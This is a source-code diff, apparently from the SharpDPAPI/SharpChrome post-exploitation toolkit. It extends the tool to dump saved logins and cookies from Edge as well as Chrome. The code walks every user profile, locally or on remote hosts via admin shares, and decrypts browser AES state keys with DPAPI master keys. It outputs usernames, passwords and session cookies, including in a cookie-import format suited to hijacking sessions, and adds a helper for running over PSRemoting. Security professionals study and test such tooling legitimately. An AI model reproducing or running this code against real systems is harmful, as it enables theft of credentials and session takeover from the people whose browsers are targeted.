loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE"));
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
}
else
{
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, null);
Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers.");
return;
}
if (File.Exists(aesStateKeyPath) && (aesStateKey == null))
{
// try to decrypt the new v80+ AES state file key, if it exists
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true);
}
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey);
}
}
public static void TriageChromeCookies(Dictionary<string, string> MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false)
public static void TriageChromeCookies(Dictionary<string, string> MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome")
{
// triage all Chrome Cookies we can reach
// triage all Edge/Chrome Cookies we can reach
byte[] aesStateKey = null;
if(!String.IsNullOrEmpty(stateKey)) {
aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
}
if (!String.IsNullOrEmpty(computerName))
{
@@ -108,7 +142,7 @@ namespace SharpChrome
if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName)))
{
Console.WriteLine("[*] Triaging Chrome Cookies for ALL users\r\n");
Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
string userFolder = "";
if (!String.IsNullOrEmpty(computerName))
@@ -126,40 +160,151 @@ namespace SharpChrome
{
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{
string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir);
var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
var cookiePath = "";
var aesStateKeyPath = "";
if (File.Exists(aesStateKeyPath))
if (browser.ToLower() == "chrome")
{
// try to decrypt the new v80+ AES state file key, if it exists
byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect);
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey);
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
}
else if (browser.ToLower() == "edge")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", dir);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir);
}
else
{
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, null);
Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers.");
return;
}
if (File.Exists(aesStateKeyPath) && (aesStateKey == null))
{
// try to decrypt the new v80+ AES state file key, if it exists
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect);
}
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey);
}
}
}
else
{
// otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default
Console.WriteLine("[*] Triaging Chrome Cookies for current user.\r\n");
string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE"));
var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
var cookiePath = "";
var aesStateKeyPath = "";
if (File.Exists(aesStateKeyPath))
if (browser.ToLower() == "chrome")
{
// try to decrypt the new v80+ AES state file key, if it exists
byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey);
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE"));
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
}
else if (browser.ToLower() == "edge")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE"));
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
}
else
{
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, null);
Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers.");
return;
}
if (File.Exists(aesStateKeyPath) && (aesStateKey == null))
{
// try to decrypt the new v80+ AES state file key, if it exists
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect
}
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey);
}
}
public static void TriageStateKeys(Dictionary<string, string> MasterKeys, string computerName = "", bool unprotect = false, string target = "")
{
// triage all Chromium state keys we can reach
if (!String.IsNullOrEmpty(computerName))
{
// if we're triaging a remote computer, check connectivity first
bool canAccess = SharpDPAPI.Helpers.TestRemote(computerName);
if (!canAccess)
{
return;
}
}
if (!String.IsNullOrEmpty(target))
{
if (File.Exists(target))
{
byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect);
}
else
{
Console.WriteLine("[X] Target '{0}' doesn't exist.", target);
}
}
else
{
if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName)))
{
Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n");
string userFolder = "";
if (!String.IsNullOrEmpty(computerName))
{
userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName);
}
else
{
userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive"));
}
string[] dirs = Directory.GetDirectories(userFolder);
foreach (string dir in dirs)
{
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{
var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir);
if (File.Exists(chromeAESStateKeyPath))
{
// try to decrypt the new v80+ AES state file key, if it exists
byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect);
}
if (File.Exists(edgeAESStateKeyPath))
{
// try to decrypt the new v80+ AES state file key, if it exists
byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect);
}
}
}
}
else
{
// otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default
Console.WriteLine("[*] Triaging Chromium state keys for current user.\r\n");
var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
if (File.Exists(chromeAESStateKeyPath))
{
// try to decrypt the new v80+ AES state file key, if it exists
byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true); // force /unprotect
}
if (File.Exists(edgeAESStateKeyPath))
{
// try to decrypt the new v80+ AES state file key, if it exists
byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true); // force /unprotect
}
}
}
}
@@ -247,7 +392,7 @@ namespace SharpChrome
{
if (!someResults)
{
Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath);
Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
}
someResults = true;
Console.WriteLine("URL : {0} ({1})", row.column[0].Value, row.column[1].Value);
@@ -261,7 +406,7 @@ namespace SharpChrome
{
if (!someResults)
{
Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath);
Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password");
}
someResults = true;
@@ -375,7 +520,8 @@ namespace SharpChrome
// check conditions that will determine whether we're displaying this cookie entry
bool displayValue = false;
if (showAll)
if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString()))
{
displayValue = true;
}
@@ -406,7 +552,7 @@ namespace SharpChrome
{
if (!someResults)
{
Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath);
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
}
someResults = true;
@@ -419,8 +565,8 @@ namespace SharpChrome
{
if (!someResults)
{
Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath);
Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath);
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath);
}
else
{
@@ -454,7 +600,7 @@ namespace SharpChrome
// csv output
if (!someResults)
{
Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath);
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc");
}
someResults = true;
@@ -471,7 +617,7 @@ namespace SharpChrome
}
}
}
catch { }
catch {}
}
if (displayFormat.Equals("json") && someResults)
+1 -1
View File
@@ -4,7 +4,7 @@ namespace SharpDPAPI.Domain
{
public static class Info
{
public static void Logo()
public static void ShowLogo()
{
Console.WriteLine("\r\n __ _ _ _ ___ ");
Console.WriteLine(" (_ |_ _. ._ ._ | \\ |_) /\\ |_) | ");
+1 -1
View File
@@ -4,6 +4,6 @@ namespace SharpDPAPI
{
public static class Version
{
public static string version = "1.8.0";
public static string version = "1.9.0";
}
}
+102 -17
View File
@@ -1,36 +1,52 @@
using SharpDPAPI.Domain;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
namespace SharpDPAPI
{
class Program
{
public static void Main(string[] args)
private static void FileExecute(string commandName, Dictionary<string, string> parsedArgs)
{
// execute w/ stdout/err redirected to a file
string file = parsedArgs["/consoleoutfile"];
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
using (StreamWriter writer = new StreamWriter(file, true))
{
writer.AutoFlush = true;
Console.SetOut(writer);
Console.SetError(writer);
MainExecute(commandName, parsedArgs);
Console.Out.Flush();
Console.Error.Flush();
}
Console.SetOut(realStdOut);
Console.SetError(realStdErr);
}
private static void MainExecute(string commandName, Dictionary<string, string> parsedArgs)
{
// main execution logic
Stopwatch sw = new Stopwatch();
sw.Start();
Info.ShowLogo();
try
{
Info.Logo();
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs);
// try to parse the command line arguments, show usage on failure and then bail
var parsed = ArgumentParser.Parse(args);
if (parsed.ParsedOk == false)
// show the usage if no commands were found for the command name
if (commandFound == false)
Info.ShowUsage();
else
{
// Try to execute the command using the arguments passed in
var commandName = args.Length != 0 ? args[0] : "";
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments);
// show the usage if no commands were found for the command name
if (commandFound == false)
Info.ShowUsage();
}
}
catch (Exception e)
{
@@ -41,5 +57,74 @@ namespace SharpDPAPI
sw.Stop();
Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed);
}
public static string MainString(string command)
{
// helper that executes an input string command and returns results as a string
// useful for PSRemoting execution
string[] args = command.Split();
var parsed = ArgumentParser.Parse(args);
if (parsed.ParsedOk == false)
{
Info.ShowLogo();
Info.ShowUsage();
return "Error parsing arguments: ${command}";
}
var commandName = args.Length != 0 ? args[0] : "";
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StringWriter();
TextWriter stdErrWriter = new StringWriter();
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
MainExecute(commandName, parsed.Arguments);
Console.Out.Flush();
Console.Error.Flush();
Console.SetOut(realStdOut);
Console.SetError(realStdErr);
string output = "";
output += stdOutWriter.ToString();
output += stdErrWriter.ToString();
return output;
}
static void Main(string[] args)
{
try
{
var parsed = ArgumentParser.Parse(args);
if (parsed.ParsedOk == false)
{
Info.ShowLogo();
Info.ShowUsage();
return;
}
var commandName = args.Length != 0 ? args[0] : "";
if (parsed.Arguments.ContainsKey("/consoleoutfile"))
{
// redirect output to a file specified
FileExecute(commandName, parsed.Arguments);
}
else
{
MainExecute(commandName, parsed.Arguments);
}
}
catch (Exception e)
{
Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n");
Console.WriteLine(e);
}
}
}
}
+17
View File
@@ -126,6 +126,23 @@ namespace SharpDPAPI
return HexAsBytes;
}
public static string Capitalize(string s)
{
if(s.Length == 1)
{
return char.ToUpper(s[0]) + "";
}
else if (s.Length > 1)
{
return char.ToUpper(s[0]) + s.Substring(1);
}
else
{
return "";
}
}
public static bool TestRemote(string computerName)
{
try
-1
View File
@@ -91,7 +91,6 @@ namespace SharpDPAPI
if (!String.IsNullOrEmpty(password))
{
plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes);
mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value);
}
else
{